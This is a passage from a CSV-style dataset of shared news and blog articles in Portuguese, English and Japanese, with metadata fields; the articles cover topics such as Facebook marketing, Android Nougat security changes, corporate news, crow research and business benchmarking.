cada 10 brasileiros conectados à internet estão no Facebook. No mundo inteiro são 1,6 bilhão de usuários. Manter essa audiência dentro do seu ambiente é o que faz e vai fazer o Facebook continuar sendo o Facebook por mais algum tempo. Vale a pena manter uma estratégia de marketing no Facebook agora? Desde que as marcas descobriram o Facebook como meio de popularizar conteúdo e engajar fãs, houve uma espécie de ""corrida do ouro"" para a plataforma. A empresa que quisesse se envolver melhor com seu público-alvo, divulgar produtos e serviços e ser vista como ""moderna"" tinha que ter obrigatoriamente uma fanpage. O alcance orgânico das postagens era incrível e possibilitava um ROI insuperável, se comparado às mídias tradicionais. Tudo que se postava viralizava, mas já faz tempo que não é mais assim. Se a sua estratégia atual de marketing dentro do Facebook não considera investimento em mídia, então esqueça as milhares de curtidas e compartilhamentos que seus posts recebiam antes. É melhor tentar novos caminhos mesmo. Por outro lado, o maior patrimônio e moeda de troca do Facebook são as pessoas. A grande vantagem de continuar investindo em mídia paga na plataforma é a possibilidade de hipersegmentar o público para quem seu anúncio será exibido. Nisso ele é imbatível. Pra terminar, um conselho... Procure diversificar seus veículos de comunicação. Não coloque todos os ovos no mesmo cesto. O Facebook é ótimo, mas não é o único. Se você trabalha com Marketing de Conteúdo, por exemplo, a metodologia é basicamente omnichanel, tente retomar a conversa com seu público em novos canais. Quem sabe, não é a hora de voltar a usar o bom e velho e-mail marketing? Pense fora da caixa um pouco!",pt
1468927827,CONTENT SHARED,8622597251681699865,-5639303336519418445,-5884701978131455996,,,,HTML,http://exame.abril.com.br/negocios/noticias/walmart-comeca-a-recusar-cartoes-de-credito-visa-no-canada,Walmart começa a recusar cartões de crédito Visa no Canadá | EXAME.com,"Toronto - O gigante americano de lojas de departamento Walmart começou nesta segunda-feira a rejeitar os cartões de crédito Visa em seus estabelecimentos após um impasse sobre os custos que a companhia cobra por seu uso. A recusa em aceitar cartões de crédito Visa começou nesta segunda-feira em três dos estabelecimentos Walmart na cidade canadense de Thunder Bay, cerca de 1,3 mil quilômetros ao noroeste de Toronto. O Walmart anunciou no mês passado que deixaria de aceitar os cartões Visa em seus estabelecimentos após tentar negociar com a companhia de crédito, sem sucesso, ""um preço aceitável pelas transações"". ""Todos os anos, o Walmart Canadá paga mais de 100 milhões de dólares canadenses (US$ 77 milhões) para aceitar cartão de crédito. Reduzir estes custos é necessário para que possamos manter nossos preços baixos e seguir economizando o dinheiro de nossos clientes"", explicou o Walmart em comunicado. O Walmart também informou que seus clientes poderão continuar utilizando cartões de crédito e débito de outras companhias. A Visa afirmou que após meses de negociações com o Walmart, a quem ofereceu um dos custos mais baixos no país, a rede de lojas de departamento quer que os custos associados ao uso de seus cartões sejam inferiores aos que cobra de qualquer outro estabelecimento comercial ou instituição. Diante da recusa do Walmart em aceitar seus cartões, a Visa aconselhou em comunicado nesta segunda-feira que seus usuários frequentem estabelecimentos rivais. ""Até que se chegue a um acordo neste impasse comercial, incentivamos os compradores a utilizarem seus cartões nas mais de 5,2 mil lojas Thunder Bay que aceitam Visa"", disse a companhia. O Walmart anunciou que ampliará a proibição de aceitar cartões Visa de forma gradual nos mais de 400 estabelecimentos que tem no Canadá.",pt
1468930583,CONTENT SHARED,8297658253225035519,-1836083230511905974,2654955442997989666,,,,HTML,http://android-developers.blogspot.com.br/2016/07/final-developer-preview.html,Final Developer Preview before Android 7.0 Nougat begins rolling out | Android Developers Blog,"Posted by Dave Burke, VP of Engineering As we close in on the public rollout of Android 7.0 Nougat to devices later this summer, today we're releasing Developer Preview 5 , the last milestone of this preview series. Last month's Developer Preview included the final APIs for Nougat; this preview gives developers the near-final system updates for all of the supported preview devices, helping you get your app ready for consumers. Here's a quick rundown of what's included in the final Developer Preview of Nougat: System images for Nexus and other preview devices An emulator that you can use for doing the final testing of your apps to make sure they're ready The final N APIs (API level 24) and latest system behaviors and UI The latest bug fixes and optimizations across the system and in preinstalled apps Working with this latest Developer Preview, you should make sure your app handles all of the system behavior changes in Android N , like Doze on the Go, background optimizations, screen zoom, permissions changes, and more. Plus, you can take advantage of new developer features in Android N such as Multi-window support , Direct Reply and other notifications enhancements , Direct boot , new emojis and more. Publish your apps to alpha, beta or production channels in Google Play After testing your apps with Developer Preview 5 you should publish the updates to Google Play soon. We recommend compiling against, and optionally targeting, API 24 and then publishing to your alpha, beta, or production channels in the Google Play Developer Console. A great strategy to do this is using Google Play's beta testing feature to get early feedback from a small group of users -- including Developer Preview users - and then doing a staged rollout as you release the updated app to all users. How to get Developer Preview 5 If you are already enrolled in the Android Beta program , your devices will get the Developer Preview 5 update right away, no action is needed on your part. If you aren't yet enrolled in Android Beta, the easiest way to get started is by visiting android.com/beta and opt-in your eligible Android phone or tablet -- you'll soon receive this preview update over-the-air. As always, you can also download and flash this update manually . The Nougat Developer Preview is available for Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, and Pixel C devices, as well as General Mobile 4G [Android One] devices. Thanks so much for all of your feedback so far. Please continue to share feedback or requests either in the N Developer Preview issue tracker , N Preview Developer community , or Android Beta community as we work towards the consumer release later this summer. Android Nougat is almost here! Also, the Android engineering team will host a Reddit AMA on r/androiddev to answer all your technical questions about the platform tomorrow, July 19 from 12-2 PM (Pacific Time) . We look forward to addressing your questions!",en
1468930882,CONTENT SHARED,6492104262016302259,-1836083230511905974,2654955442997989666,,,,HTML,http://codigo-google.blogspot.com.br/2016/07/provedor-crypto-descontinuado-android-n.html,"Código Google: Provedor de segurança ""Crypto"" descontinuado no Android N","Publicado por Sergio Giro, engenheiro de software Se seu aplicativo Android deriva chaves usando o algoritmo SHA1PRNG do provedor Crypto, você deve começar a usar uma função de derivação de chave real e possivelmente criptografar os dados novamente. A arquitetura de criptografia Java permite que os desenvolvedores criem uma instância de uma classe, como uma criptografia ou um gerador de número pseudoaleatório, usando chamadas como: SomeClass.getInstance(""SomeAlgorithm"", ""SomeProvider""); Ou simplesmente: SomeClass.getInstance(""SomeAlgorithm""); Por exemplo, Cipher.getInstance(""AES/CBC/PKCS5PADDING""); SecureRandom.getInstance(""SHA1PRNG""); No Android, recomendamos não especificar o provedor. Em geral, toda chamada das Java Cryptography Extension (JCE) APIs que especificam um provedor só deve ser realizada se o provedor está incluso no aplicativo ou se o aplicativo consegue lidar com uma possível ProviderNotFoundException. Infelizmente, muitos aplicativos dependem do provedor ""Crypto"", agora removido, para um antipadrão de derivação de chave. Este provedor só fornecia uma implementação do algoritmo ""SHA1PRNG"" para instâncias de SecureRandom. O problema é que o algoritmo SHA1PRNG não é criptograficamente forte. Para leitores interessados em detalhes, Sobre distância estatística baseada em testes de sequências pseudoaleatórias e experimentos com PHP e Debian OpenSSL , seção 8.1, de Yongge Want e Tony Nicol, define que a sequência ""aleatória"", considerada na forma binária, tem a tendência a retornar zeros, e que isso piora dependendo da semente. Como resultado, no Android N, estamos removendo completamente a implementação do algoritmo SHA1PRNG e do provedor Crypto . Abordamos os problemas no uso do SecureRandom para derivação de chave há alguns anos em Como usar criptografia para armazenar credenciais com segurança . No entanto, dado seu uso continuado, falaremos sobre isso novamente aqui. Um uso comum, mas incorreto, deste provedor era para derivar chaves de criptografia usando uma senha como semente. A implementação de SHA1PRNG tinha um erro que a tornava determinista se setSeed() fosse chamado antes de se obter a saída. Este erro era usado para derivar uma chave fornecendo uma senha como semente e depois usando os bytes da saída ""aleatória"" da chave (""aleatória"" nesta frase significa ""previsível e criptograficamente fraca""). Essa chave poderia, então, ser usada para criptografar e decodificar dados. A seguir, explicamos como derivar chaves de forma correta e como decodificar os dados que foram criptografados usando uma chave sem segurança. Além disso, há um exemplo completo , incluindo uma classe auxiliar para usar a funcionalidade SHA1PRNG removida, com o único objetivo de decodificar dados que, de outra forma, estariam indisponíveis. As chaves podem ser derivadas da seguinte forma: Pronto. Você não deve precisar de mais nada. Para facilitar o trânsito de dados, abordamos o caso de desenvolvedores que têm dados criptografados com uma chave sem segurança, que é sempre derivada de uma senha. Você pode usar a classe auxiliar InsecureSHA1PRNGKeyDerivator no exemplo de aplicativo para derivar a chave. Em seguida, você pode criptografar os dados novamente com uma chave derivada de forma segura, conforme explicado acima, e ser feliz! Observação 1: como uma medida temporária para que os aplicativos continuem funcionando, decidimos ainda criar a instância para aplicativos que visam a versão 23 do SDK, a versão para Marshmallow ou anterior. Não fique dependente da presença do provedor Crypto no Android SDK, nosso plano é excluí-lo totalmente no futuro. Observação 2: já que muitas partes do sistema presumem a existência de um algoritmo SHA1PRNG, quando uma instância de SHA1PRNG é solicitada e o provedor não é especificado, retornamos uma instância de OpenSSLRandom, que é uma fonte segura de números aleatórios derivados do OpenSSL.",pt
1468932933,CONTENT SHARED,3779434447835779494,-1387464358334758758,236829835436955798,,,,HTML,http://googlediscovery.com/2016/07/19/hello-nova-rede-social-do-orkut-esta-liberada-no-brasil/,"Hello, a nova rede social do Orkut, está liberada no Brasil","No último mês de junho, Orkut Buyukkokten, criador do extinto Orkut e ex-engenheiro de software do Google, anunciou oficialmente o lançamento da rede social Hello Network. Embora os planos do ex-Googler fossem de liberar o acesso aos brasileiros somente no próximo mês de agosto, o Orkut voltou atrás e prometeu a abertura dos portões para uma data indefinida dentro de Julho. Dito e feito: a Hello Network está finalmente aberta para os usuários do Brasil. Os interessados em conhecer o ""Orkut feito para o mobile"" já podem instalar o app do Hello pelo Google Play ou App Store . ""Hello é a primeira rede social construída através de amizades profundas, não ""Gostos"". Eu inventei a hello para ajudá-lo a conectar-se com pessoas que compartilham das suas paixões"", diz o Orkut em um comunicado publicado na internet. Diferente do Instagram, o Hello compartilha o conteúdo por meio de uma timeline focada em paixões, permitindo desta forma obter diferentes fluxos de conteúdos a partir de filtros definidos pelos usuários, como games, tecnologia, comidas, animais, etc. Bad bad server, no donut for you Durante nossos testes com o aplicativo do Hello para Android, observamos uma série de problemas durante a criação de um perfil - provavelmente devido ao número elevado de registros no momento. Apesar das falhas, o aplicativo do Hello deu continuidade ao cadastro até a sua conclusão, sem qualquer necessidade de refazer todo o processo.",pt
1468937811,CONTENT SHARED,-7891293130731329672,4227773676394505435,-3639577459523734004,,,,HTML,http://hipsters.tech/sobre/,Sobre o Hipsters Ponto Tech,"No começo de 2016 a Alura montou, em parceria com o JovemNerd, o podcast NerdTech . São episódios sobre tecnologia apresentados de forma bem humorada e sem muita pretensão. O podcast teve bastante repercussão e, atendendo a pedidos, montamos o nosso próprio... só que semanal! Toda terça feira traremos um episó dio novo para falar de tecnologia, startups, programação, design e... outras modinhas! Paulo Silveira , o da fotona aí, é o hipster por trás do podcast e nosso host. O conteúdo é bolado com a ajuda de muita gente da Caelum e da Alura. Gabriel Ferreira faz o social e mantém o nosso recém lançado grupo no Facebook . Maurício Linhares é responsável por diversos convidados e figura presente em diversos episódios. Raphael Lacerda é quem deu o pontapé inicial lááá atrás. Yuri Padilha faz o árduo trabalho no WordPress e Fabio Gushiken é o gênio do logo e das imagens. Quem faz a edição do conteúdo é a turma do Radiofobia . Quer logos para linkar pra gente? Tem aqui ó .",pt
1468974552,CONTENT SHARED,-4718837078135183000,6003902177042843076,8987524505013192847,,,,HTML,http://android-developers.blogspot.com.br/2016/07/strictly-enforced-verified-boot-with.html,Strictly Enforced Verified Boot with Error Correction | Android Developers Blog,"Posted by Sami Tolvanen, Software Engineer Overview Android uses multiple layers of protection to keep users safe. One of these layers is verified boot , which improves security by using cryptographic integrity checking to detect changes to the operating system. Android has alerted about system integrity since Marshmallow, but starting with devices first shipping with Android 7.0, we require verified boot to be strictly enforcing. This means that a device with a corrupt boot image or verified partition will not boot or will boot in a limited capacity with user consent. Such strict checking, though, means that non-malicious data corruption, which previously would be less visible, could now start affecting process functionality more. By default, Android verifies large partitions using the dm-verity kernel driver, which divides the partition into 4 KiB blocks and verifies each block when read, against a signed hash tree. A detected single byte corruption will therefore result in an entire block becoming inaccessible when dm-verity is in enforcing mode, leading to the kernel returning EIO errors to userspace on verified partition data access. This post describes our work in improving dm-verity robustness by introducing forward error correction (FEC), and explains how this allowed us to make the operating system more resistant to data corruption. These improvements are available to any device running Android 7.0 and this post reflects the default implementation in AOSP that we ship on our Nexus devices. Error-correcting codes Using forward error correction, we can detect and correct errors in source data by shipping redundant encoding data generated using an error-correcting code. The exact number of errors that can be corrected depends on the code used and the amount of space allocated for the encoding data. Reed-Solomon is one of the most commonly used error-correcting code families, and is readily available in the Linux kernel, which makes it an obvious candidate for dm-verity. These codes can correct up to ⌊ t/2 ⌋ unknown errors and up to t known errors, also called erasures , when t encoding symbols are added. A typical RS(255, 223) code that generates 32 bytes of encoding data for every 223 bytes of source data can correct up to 16 unknown errors in each 255 byte block. However, using this code results in ~15% space overhead, which is unacceptable for mobile devices with limited storage. We can decrease the space overhead by sacrificing error correction capabilities. An RS(255, 253) code can correct only one unknown error, but also has an overhead of only 0.8%. An additional complication is that block-based storage corruption often occurs for an entire block and sometimes spans multiple consecutive blocks. Because Reed-Solomon is only able to recover from a limited number of corrupted bytes within relatively short encoded blocks, a naive implementation is not going to be very effective without a huge space overhead. Recovering from consecutive corrupted blocks In the changes we made to dm-verity for Android 7.0, we used a technique called interleaving to allow us to recover not only from a loss of an entire 4 KiB source block, but several consecutive blocks, while significantly reducing the space overhead required to achieve usable error correction capabilities compared to the naive implementation. Efficient interleaving means mapping each byte in a block to a separate Reed-Solomon code, with each code covering N bytes across the corresponding N source blocks. A trivial interleaving where each code covers a consecutive sequence of N blocks already makes it possible for us to recover from the corruption of up to (255 - N) / 2 blocks, which for RS(255, 223) would mean 64 KiB, for example. An even better solution is to maximize the distance between the bytes covered by the same code by spreading each code over the entire partition, thereby increasing the maximum number of consecutive corrupted blocks an RS(255, N) code can handle on a partition consisting of T blocks to ⌈ T/N ⌉ × (255 - N) / 2 . Interleaving with distance D and block size B. An additional benefit of interleaving, when combined with the integrity verification already performed by dm-verity, is that we can tell exactly where the errors are in each code. Because each byte of the code covers a different source block-and we can verify the integrity of each block using the existing dm-verity metadata-we know which of the bytes contain errors. Being able to pinpoint erasure locations allows us to effectively double our error correction performance to at most ⌈ T/N ⌉ × (255 - N) consecutive blocks. For a ~2 GiB partition with 524256 4 KiB blocks and RS(255, 253), the maximum distance between the bytes of a single code is 2073 blocks. Because each code can recover from two erasures, using this method of interleaving allows us to recover from up to 4146 consecutive corrupted blocks (~16 MiB). Of course, if the encoding data itself gets corrupted or we lose more than two of the blocks covered by any single code, we cannot recover anymore. While making error correction feasible for block-based storage, interleaving does have the side effect of making decoding slower, because instead of reading a single block, we need to read multiple blocks spread across the partition to recover from an error. Fortunately, this is not a huge issue when combined with dm-verity and solid-state storage as we only need to resort to decoding if a block is actually corrupted, which still is rather rare, and random access reads are relatively fast even if we have to correct errors. Conclusion Strictly enforced verified boot improves security, but can also reduce reliability by increasing the impact of disk corruption that may occur on devices due to software bugs or hardware issues. The new error correction feature we developed for dm-verity makes it possible for devices to recover from the loss of up to 16-24 MiB of consecutive blocks anywhere on a typical 2-3 GiB system partition with only 0.8% space overhead and no performance impact unless corruption is detected. This improves the security and reliability of devices running Android 7.0.",en
1468980408,CONTENT SHARED,-4770861947600256785,-2726721797588771398,6439159987284830965,,,,HTML,http://fortune.com/2016/07/19/unilever-buys-dollar-shave-club-for-1-billion/,Unilever Buys Dollar Shave Club for $1 Billion,"Unilver announced on Tuesday evening that it is getting into the razor business, by agreeing to acquire Dollar Shave Club. No financial terms were disclosed, but a source close to the deal tells Fortune that Unilver is paying $1 billion in cash for the Santa Monica, Calif.-based business. That same source says that Unilver approached Dollar Shave Club about the acquisition. Dollar Shave Club founder and CEO Michael Dubin will continue to run the company, which will operate as an independent entity. ""DSC couldn't be happier to have the world's most innovative and progressive consumer-product company in our corner,"" Dubin said in a prepared statement. ""We have long admired Unilever's purpose-driven business leadership and its category expertise is unmatched. We are excited to be part of the family."" Dollar Shave Club had raised over $160 million in venture capital funding, most recently last November at a $539 million valuation. Its first two funding rounds were led by Venrock, while Technology Crossover Ventures led its two subsequent rounds.",en
1469013729,CONTENT SHARED,4303142677581479651,-2979881261169775358,7448844944656099788,,,,HTML,http://news.nationalgeographic.com/2015/10/151003-animals-science-crows-birds-culture-brains/,Do Crows Hold Funerals for Their Dead?,"Many who have heard the melancholy cry of the mourning dove might wonder: Do birds grieve for their loved ones? For this Saturday's Weird Animal Question of the Week Emilie Bouef commented via Facebook: ""I heard that ravens do some kind of funeral when one of them dies. I'd love to know more about this."" Calling to each other, gathering around, and paying special attention toa fallen comrade is common among the highly intelligent corvids, a group of birds that includes crows, jays, magpies, and ravens , says Kaeli Swift , a Ph.D student in environmental science at the University of Washington. (See "" Are Crows Smarter Than Children?"") But it doesn't necessarily mean the birds are mourning for their lost buddy. Rather, they're likely trying to find out if there's a threat where the death occurred, so they can avoid it in the future. More Weird & Wild Stories In a study published recently in the journal Animal Behaviour , Swift found that American crows associate people seen handling dead crows with danger, and can be wary of feeding near such people. At the start of her two-year experiment, Swift put out food at over a hundred sites where in Washington State , which attracted breeding and nesting crows. Swift then had about 25 human volunteers don masks and asked them to stand near the food for 30 minutes, in clear view of the crows. The masks obscured the volunteers' facial expressions, as well as allowed a rotating cast of people to be involved in the experiment. Each volunteer was either holding a dead crow, standing near a dead red-tailed hawk-a crow predator-or standing near a dead red-tailed hawk holding the dead crow. (All the birds used in the experiment were taxidermied.) As the control variable in the experiment-the element that's unchanged-there was either no volunteer present or one who was empty-handed. Almost universally, the crows responded to seeing the people and dead birds by ""scolding""-or putting out an alert call to other crows. Of the four situations, the hawk-and-dead-crow combination provoked the most reaction. The crows did not react to the empty-handed control volunteer. (See National Geographic's photos of brainy animals. ) The volunteers to whom the crows reacted returned to the site periodically for six weeks, though they went empty-handed. Even so, the crows continued to scold that person the entire length of the experiment, and were more wary of the area for several days-suggesting they consider people handling dead crows a threat. In a second experiment, Swift also found the crows had a much milder response to a masked person holding a taxidermied pigeon, indicating ""that crows are more sensitive to dead crows than to other kinds of birds,"" Swift says. Overall, the research showed that just the inference of danger was enough to make the crows skeptical of people. ( Discover how a crow solved a challenge from Aesop's fables .) Other experiments have revealed that American crows never forget a (human) face-even for nine-and-a-half years and counting, John Marzluff , a biologist at the University of Washington and co-author on the new study, (Also see "" Clever New Caledonian Crows Use One Tool to Acquire Another .) Such a skill is beneficial for these long-lived, social birds, partly because they have to deal with unpredictable people. If you're a crow ""some people will kill you, other people will feed you,"" and that can switch if, say, a bird lover moves out of a house and someone less bird friendly moves in, Marzluff notes. So crows have to be ""nimble"" in their interactions with us-and the study supports the idea ""that these crows do pay attention"" to individual people. In previous research, Marzluff and his team have imaged brains of American crows and shown that the hippocampus-a part of the brain associated with learning and memory - is activated by the sight of a person holding a dead crow.. ""These associations may be renewed"" if the threat is seen again, he says. For instance, in 2008 Marzluff had researchers in caveman masks capture crows while others in a control mask-Dick Cheney-let the birds be. Afterward the birds ignored the harmless Cheneys but scolded and chased the cavemen, and did so for years. Poor birds! Probably thought they could trust a Crow-Magnon. Weird Animal Question of the Week answers your questions every Saturday. If you have a question about the weird and wild animal world, tweet me , leave me a note or photo in the comments below, or find me on Facebook .",en
1469021472,CONTENT SHARED,-5527182266336855540,2833428826475063405,-1007005958355172728,,,,HTML,http://hiragananinja.tk/wp2/line-and-jplearning/,40 Basic Japanese conversations,"Japanese conversation using Ninja LINE sticker �� You can download the Ninja LINE stickers . �� Download LINE stickers (HiraganaNinja 3) たべすぎた。tabesugita = taberu (to eat) + sugiru (to do too much) + shita ( the past form) わかった wakatta = The past form of ""wakaru (to understand)"". Wakarimashita. Kashikomarimashita. おどらない？odoranai = Shall we dance? Odoru = to dance / 〜 しない？ = Shall we ~ ? あいしてる aishiteru = I love you. 愛 ai is noun which means love. 愛している aishiteiru is the verb form. だいすき daisuki すき suki きらい kirai やばい！ is casual Japanese or Japanese slang and it is used like ""Oh my god!"". Yabai casual Japanese / Japanese slang phrase 食事中 shokuji chuu = (I'm) eating 充電中 juudenchuu → 充電完了 juudenkanryou New Kindle Book On Sale! Japanese conversation Chart Ninja LINE stickers",ja
1469022994,CONTENT SHARED,-8369610219380465981,-2726721797588771398,6439159987284830965,,,,HTML,http://www.theverge.com/2016/7/19/12221938/nintendo-double-market-cap-pokemon-go-release,Nintendo has doubled in value since Pokémon Go's release,"For a game that isn't even technically a Nintendo property, is having quite the healthy impact on the Japanese company's finances. Ever since the launch of Pokémon Go earlier this month, Nintendo's market capitalization has more than doubled, ending Tuesday trading at a fantastic $42.5 billion . Such has been the appetite for Nintendo stock, in fact, that on Friday it broke the single-day trading record in Tokyo this century , with $4.5 billion of stock changing hands. Eurogamer has a nice breakdown of why investors are buying up Nintendo in spite of it standing to benefit from Pokémon Go only indirectly. The Japanese gaming giant has another feather in its cap with the recent announcement of a mini NES that was received with absolute joy and adulation. Basically, Nintendo can do no wrong right now, and since stock markets are all about perception, its share price keeps climbing as a result. The latest uptick in Nintendo's market cap also sees it bypass Sony - all of Sony, which has a market cap closer to $40 billion - which is a position it's not enjoyed since way back in 2014 . McDonald's Japan jumps 23%, the most since listing, because...Pokemon Happy Meals (Pokemon Go not even out in Japan) pic.twitter.com/yu3sHDxGjJ - Haidi Lun 伦海迪 (@HaidiLun) July 19, 2016 Nintendo is not alone in feeling the benefits of Pokémon Go 's imperious rise. McDonald's has started selling Pokémon -themed Happy Meals in Japan, which has promptly led to a bump in sales and a corresponding increase in its stock price as well. Where pokémon go, money follows. HOW TO GET PIKACHU AS YOUR STARTER IN POKÉMON GO",en
1469024905,CONTENT SHARED,-6076367233589223323,-4465926797008424436,-4761788382362376475,,,,HTML,https://realm.io/news/android-developer-summer-reading/,Android Developers Summer Reading List,"It's summer, which means it's time for some vacation! �� But we know you still crave those Android learnings. Or maybe you just need some ""work"" to excuse you from dinner with the in-laws... Either way, we're here to help! Here are some of our favorite Android dev talks that we're catching up on this summer. Table of Contents Get more guides, videos, & tutorials - we won't email you for any other reason, ever. Prologue: Developing for Android If you're new to the genre, don't miss this thorough journey through Android development from the prolific Chet Haase and Romain Guy show why writing Android apps isn't the same as writing other kinds of applications. Learn how to use the language, the runtime, and the platform effectively, and how to write better and more performant Android applications. Chapter 1: Object-Oriented Android We all want to be ""better"" Android developers, but what does that really mean? Donn Felker takes a deep dive into 5 tried and true object-oriented design principles, the SOLID principles . First introduced way back in the early 2000s by Uncle Bob Martin to help software developers write more maintainable and extensible code, the SOLID principles have been enjoying a resurgence in mobile dev circles. Donn updates them specifically for Android dev in 2016, with Java use cases for each one: Chapter 2: Reactive Android If reactive programming is more your style, or if you've just noticed everyone talking about RxJava and are wondering what it's all about, check out these two talks from Juan Gomez and Felipe Lima that will get you going in the right direction! Juan Gomez gives a solid intro to functional reactive programming, including reactive extensions, observers & descriptions, and other topics around RxJava. For an in-depth use case from one of the more captivating disruptors, check out Felipe Lima's rundown of Airbnb's experience with RxJava. Chapter 3: Testing with Espresso As much as we might like to #yolo and just git commit , we also know that we owe it to our users to test. Espresso is one of the more powerful testing frameworks out there, and if you've dabbled in it but need to take it to the next level, Chiu-Ki Chan 's advanced look at Espresso will get you leveled up. Chapter 4: Library Peek: Retrofit 2 There are some libraries that we just can't live without, and Retrofit is right up there at the top. The legend himself, Jake Wharton , gives the definitive talk on the library he created. Chapter 5: Android Data Binding Step one: Use Data Binding in Android. Step two: Profit. �� So say Yigit Boyar and George Mount , two of the Google developers who helped build Android's Data Binding library. If you've been getting into using Data Binding, who better to learn from than the engineers who built it? Build richer & more responsive user experiences with minimal effort, and learn how using Data Bindings can improve your application by removing boilerplate for data-driven UI, allowing you to write cleaner, better code. Chapter 6: Android Threading In Android, you shouldn't do anything that blocks the main thread. But what does that really mean? How do you handle background & async tasks for long-running, complicated tasks in your app? Luckily, Ari Lacenski 's sage advice will keep you from getting into trouble on the main thread. And because we can read your minds and already know your next question, our Java team takes a deep dive into how easy it is to handle threading, concurrency, and data consistency. Epilogue: Should we just abandon Java for Kotlin? Michael Pardo thinks so. Or at least, he thinks that Java 6 is a wasteland, and that our collective development experience won't improve much while half of Android devices are using it. Got suggestions for this list? Let us know on Twitter ! Get more guides, videos, & tutorials - we won't email you for any other reason, ever.",en
1469028491,CONTENT SHARED,-7627738093477170171,3609194402293569455,872342117365361079,,,,HTML,http://saiadolugar.com.br/empreendedorismo/benchmarking-o-que-e-e-como-fazer/,"Benchmarking: O que é, como surgiu e como fazer","Todo mundo que sonha em abrir o próprio negócio ou que já tem uma empresa ativa no mercado possivelmente já deve ter ouvido falar sobre a importância de analisar a concorrência. De fato, compreender o mercado e estudar as melhores práticas de companhias bem-sucedidas em seu segmento é uma atitude fundamental para quem almeja criar diferenciais competitivos e alcançar o sucesso no universo empreendedor. Todavia, para que um estudo da concorrência seja realizado de modo eficiente, é necessário que haja uma metodologia estratégica. Levando isso em conta, no artigo de hoje nós vamos abordar o conceito de Benchmarking, um dos processos mais completos para o planejamento estratégico empresarial e análise comparativa de produtos e serviços. Você conhecerá as principais etapas de implementação do Benchmarking e como poderá aplicar esta técnica no cotidiano de seu empreendimento. Vamos começar? Definindo o conceito de Benchmarking Empreender é uma tarefa desafiadora. Um negócio não se torna um mar de eficiência da noite para o dia. Por isso mesmo, é natural que empreendedores interessados em implementar um processo de melhoria contínua voltem os olhos para companhias concorrentes mais bem estruturadas, visando entender seus pontos fortes, quais as estratégias que vem sendo utilizadas para seu crescimento e quais são os diferenciais de seus produtos ou serviços. Para adentrarmos mais profundamente neste assunto, vamos supor que você queira abrir um restaurante. Na hora de definir seu objetivo central, ou seja, aquilo que você deseja alcançar em sua trajetória empreendedora, o que você prefere ter em mente: um estabelecimento bem movimentado, com um público fiel e um bom posicionamento no ou um restaurante que mal consegue se manter funcionando? Claro que a primeira opção, certo? O Benchmarking é justamente a ferramenta que vai te ajudar a atingir este objetivo. O conceito de Benchmarking - termo que pode ser traduzido como ""ponto de referência"" ou ""padrão de desempenho"" - se refere ao processo de estudo daquilo que de melhor vem sendo feito em um determinado segmento e de que forma a sua empresa se situa diante daquelas práticas. Em outras palavras, o Benchmarking propõe uma investigação minuciosa de empresas concorrentes, tendo sempre em vista a identificação de seus diferenciais competitivos e as características de seus produtos e serviços. A partir dessa base inicial de informações, buscaremos absorver para nossa cultura empresarial aquilo que de melhor identificamos em nossos rivais do mercado. Diante de tais fatores, o objetivo central do Benchmarking pode ser definido a partir de uma simples frase: superação das limitações. Ou seja, aplicaremos em nossa empresa práticas que potencializem nossa força competitiva e façam com que superemos a concorrência . A adaptação das melhores práticas Aqui vai uma informação importante: o Benchmarking não é um processo de imitação, nem significa que você precisará mudar tudo em sua empresa. O importante é adaptar boas práticas à realidade de seu negócio para alcançar um alto grau de excelência. Imagine, por exemplo, que na sua pesquisa você identificou algumas estratégias que podem ser mais eficientes para o marketing de sua empresa. Neste sentido, é mais do que esperado que você altere processos, em vez de manter práticas menos eficazes. Vale salientar ainda que, para ser de fato relevante dentro de uma organização, o Benchmarking precisa ser encarado como um processo analítico e comparativo contínuo. Isso quer dizer que sua empresa precisará sempre ficar atenta aos líderes e às melhores práticas de seu segmento. Afinal, o mercado apresenta fluidez, novos negócios surgem a todo momento e é preciso acompanhar o ritmo para não ser ultrapassado por outras empresas e perder relevância. Como o Benchmarking surgiu A metodologia do Benchmarking foi inicialmente implementada na década de 70 pela empresa americana XEROX, que visava aumentar o seu potencial competitivo frente a grandes companhias do mercado asiático. Desde então, o processo vem sendo utilizado em larga escala e pode até ser considerado uma exigência para empresas que ambicionam o posto de melhores de seu mercado. As etapas de implementação do Benchmarking Como todo processo estratégico, o Benchmarking carrega uma lógica de implementação que deve ser levada em conta. Logo abaixo você pode conferir os passos para a implementação do Benchmarking. Veja! Análise do ambiente interno Antes de analisar os pontos fortes da concorrência , você precisará compreender perfeitamente cada detalhe de sua própria empresa. Por isso, a primeira etapa do Benchmarking consiste em um estudo do ambiente interno de seu empreendimento. Procure identificar quais são seus diferenciais, o que de melhor sua empresa vem oferecendo ao mercado e quais são os processos que necessitam de melhoria para que o negócio ganhe posições na disputa por novos consumidores. Investigação das empresas líderes Em seguida é preciso definir que empresas serão analisadas em seu estudo. Quais empresas têm tido mais destaque em seu segmento? De que forma elas atingiram esse patamar? Como elas são vistas pelos clientes e por outras organizações do setor? Para responder a esses pontos é válido analisar indicadores do mercado, realizar pesquisas de campo com consumidores e traçar outros questionamentos que podem lhe trazer informações válidas no momento em que você for implementar alterações na sua empresa. Definição de estratégias A terceira etapa do Benchmarking consiste em planejar de que forma as informações sobre os processos e das companhias concorrentes chegarão até você. Embora alguns desses dados, como dissemos, possam ser obtidos por meio de pesquisas de campo e estudos de indicadores, geralmente faz-se necessária a contratação de especialistas ou a criação de parcerias para obtenção de tais informações. Estudo do mercado Definidas as estratégias do Benchmarking é chegada a hora de realizar o estudo da concorrência. Foque em coletar o máximo de dados possível, pois este fator será crucial para o planejamento e para a efetivação das ações de melhoria contínua da sua empresa. Identificação de pontos de melhoria e comparação Por meio do conhecimento que você obteve a partir da análise do ambiente de seu negócio, foque nos pontos que precisam ser melhorados e realize análises comparativas com o intuito de saber o que as empresas líderes de seu segmento têm feito de diferente para obter sucesso com estes processos. Planejamento das ações Nesta sexta etapa do Benchmarking você definirá quais ações precisam ser tomadas tendo em vista o alcance da excelência nos pontos críticos de sua empresa. Estipule prazos, metas e estratégias concretas para a realização de tais objetivos. Implementação de ações É chegado o momento de implementar as ações. Aqui é importante considerar as peculiaridades de seu negócio e efetivar um processo de adaptação. Lembre-se: o Benchmarking não é uma imitação da concorrência, mas uma absorção das melhores práticas do mercado - portanto, não é preciso deixar de lado as características particulares de sua organização. Continuidade dos processos Por fim, nunca é demais reforçar: o Benchmarking deve ser algo contínuo na realidade de um empreendimento, algo a ser verdadeiramente integrado na rotina da interna. Nesse sentido, reavalie-se constantemente, tendo sempre como ""ponto de referência"" os melhores do mercado. Os principais tipos de Benchmarking Agora que você já conhece todas as etapas 